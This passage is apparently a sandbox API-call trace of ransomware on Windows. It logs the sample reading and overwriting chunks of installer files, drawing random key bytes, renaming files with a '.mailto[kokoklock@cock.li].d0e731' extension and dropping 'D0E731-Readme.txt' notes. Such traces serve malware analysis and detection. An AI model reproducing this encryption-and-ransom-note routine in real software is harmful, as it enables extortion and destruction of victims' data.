Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0077.017] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.019] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0077.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0077.019] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", dwFileAttributes=0x20) returned 0 [0077.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430bc0 [0077.019] wcscpy (in: _Dest=0x3430bc0, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0077.019] wcscat (in: _Dest=0x3430bc0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\D0E731-Readme.txt" [0077.020] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\d0e731-readme.txt")) returned 0xffffffff [0077.020] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x904 [0077.020] WriteFile (in: hFile=0x904, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1eebfb48, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1eebfb48*=0x481, lpOverlapped=0x0) returned 1 [0077.021] CloseHandle (hObject=0x904) returned 1 [0077.021] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430bc0) returned 1 [0077.021] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0e30) returned 1 [0077.021] RtlExitUserThread (Status=0x1) Thread: id = 835 os_tid = 0x1410 [0077.022] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe")) returned 0x20 [0077.022] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", dwFileAttributes=0x20) returned 1 [0077.023] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x904 [0077.023] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x1ef3fb08 | out: lpFileSize=0x1ef3fb08*=463016) returned 1 [0077.023] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x710a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.023] ReadFile (in: hFile=0x904, lpBuffer=0x1ef3fadc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ef3fad8, lpOverlapped=0x0 | out: lpBuffer=0x1ef3fadc*, lpNumberOfBytesRead=0x1ef3fad8*=0x4, lpOverlapped=0x0) returned 1 [0077.024] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0077.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0077.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0077.024] NtQuerySystemTime (in: CurrentTime=0x1ef3fab4 | out: CurrentTime=0x1ef3fab4*=132121176349252499) returned 0x0 [0077.024] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xab49fda6 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xc89fcce6 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x147bef7e [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x8e55314 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x9b388aee [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xb1f21d4a [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x6ab0549e [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x2187a0af [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x1e081bf0 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xdc494067 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x849bcbb3 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x4bb58afa [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xd511130d [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x760448c8 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x5f2eea69 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xdbb57a40 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xdad5a76c [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x81c5ac01 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xf2a056a1 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x6c7236c0 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x3251e44c [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x7e8a149c [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x79f78bc2 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xd76e44c3 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xcdf04ee0 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xd541b027 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xf1c9eb8c [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x2682ff52 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x59f5985c [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xba14410c [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0x2f5dd152 [0077.025] RtlRandom (in: Seed=0x1ef3fac0 | out: Seed=0x1ef3fac0) returned 0xa14b457 [0077.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0077.036] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.036] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.036] ReadFile (in: hFile=0x904, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1ef3fa74, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1ef3fa74*=0x4096, lpOverlapped=0x0) returned 1 [0077.038] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0077.038] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0077.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0077.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0077.038] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0077.038] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.038] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.038] WriteFile (in: hFile=0x904, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1ef3fa74, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1ef3fa74*=0x4096, lpOverlapped=0x0) returned 1 [0077.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.039] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x3c8ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.039] ReadFile (in: hFile=0x904, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1ef3fa74, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1ef3fa74*=0x4096, lpOverlapped=0x0) returned 1 [0077.039] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x3c8ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd598 [0077.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0077.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0077.040] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0077.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0077.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e10 [0077.040] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e10) returned 1 [0077.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0077.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd598) returned 1 [0077.041] WriteFile (in: hFile=0x904, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1ef3fa74, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1ef3fa74*=0x4096, lpOverlapped=0x0) returned 1 [0077.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.041] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x6d012, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.041] ReadFile (in: hFile=0x904, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1ef3fa74, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1ef3fa74*=0x4096, lpOverlapped=0x0) returned 1 [0077.042] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x6d012, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0077.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0077.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492410 [0077.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492410) returned 1 [0077.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ac8 [0077.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492a00 [0077.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492a00) returned 1 [0077.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0077.043] WriteFile (in: hFile=0x904, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1ef3fa74, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1ef3fa74*=0x4096, lpOverlapped=0x0) returned 1 [0077.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.043] WriteFile (in: hFile=0x904, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ef3fad0, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1ef3fad0*=0x20, lpOverlapped=0x0) returned 1 [0077.043] WriteFile (in: hFile=0x904, lpBuffer=0x341e3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ef3fad0, lpOverlapped=0x0 | out: lpBuffer=0x341e3e8*, lpNumberOfBytesWritten=0x1ef3fad0*=0x20, lpOverlapped=0x0) returned 1 [0077.044] WriteFile (in: hFile=0x904, lpBuffer=0x3492ac8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ef3fad0, lpOverlapped=0x0 | out: lpBuffer=0x3492ac8*, lpNumberOfBytesWritten=0x1ef3fad0*=0x20, lpOverlapped=0x0) returned 1 [0077.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.044] WriteFile (in: hFile=0x904, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1ef3fad8, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x1ef3fad8*=0x8, lpOverlapped=0x0) returned 1 [0077.044] WriteFile (in: hFile=0x904, lpBuffer=0x1ef3faf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ef3fad8, lpOverlapped=0x0 | out: lpBuffer=0x1ef3faf0*, lpNumberOfBytesWritten=0x1ef3fad8*=0x4, lpOverlapped=0x0) returned 1 [0077.044] WriteFile (in: hFile=0x904, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ef3fad8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1ef3fad8*=0x4, lpOverlapped=0x0) returned 1 [0077.044] WriteFile (in: hFile=0x904, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1ef3fad8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1ef3fad8*=0x6c, lpOverlapped=0x0) returned 1 [0077.044] WriteFile (in: hFile=0x904, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ef3fad8, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x1ef3fad8*=0x20, lpOverlapped=0x0) returned 1 [0077.044] WriteFile (in: hFile=0x904, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ef3fad8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1ef3fad8*=0x4, lpOverlapped=0x0) returned 1 [0077.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0077.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0077.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0077.044] CloseHandle (hObject=0x904) returned 1 [0077.044] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x33fc9c8 [0077.044] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" [0077.044] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" [0077.045] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.045] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0077.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0077.045] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", dwFileAttributes=0x20) returned 0 [0077.046] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3431280 [0077.046] wcscpy (in: _Dest=0x3431280, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0077.046] wcscat (in: _Dest=0x3431280, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\D0E731-Readme.txt" [0077.046] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\d0e731-readme.txt")) returned 0x20 [0077.046] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431280) returned 1 [0077.046] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431100) returned 1 [0077.046] RtlExitUserThread (Status=0x1) Thread: id = 836 os_tid = 0x1414 [0077.037] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431d80 [0077.037] wcscpy (in: _Dest=0x3431d80, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0077.039] wcscat (in: _Dest=0x3431d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0077.039] wcscat (in: _Dest=0x3431d80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" [0077.039] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3c48 [0077.039] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0358 [0077.042] wcscmp (_String1=".", _String2=".") returned 0 [0077.042] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.042] wcscmp (_String1="..", _String2=".") returned 1 [0077.042] wcscmp (_String1="..", _String2="..") returned 0 [0077.042] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0077.042] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0077.042] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0077.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x33e5318 [0077.042] wcscpy (in: _Dest=0x33e5318, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0077.042] wcscat (in: _Dest=0x33e5318, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0077.042] wcscat (in: _Dest=0x33e5318, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0077.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e5318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0077.876] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x33f3c48 | out: lpFindFileData=0x33f3c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0077.876] FindClose (in: hFindFile=0x33e0358 | out: hFindFile=0x33e0358) returned 1 [0077.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3c48) returned 1 [0077.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431d80) returned 1 [0077.876] RtlFreeHeap 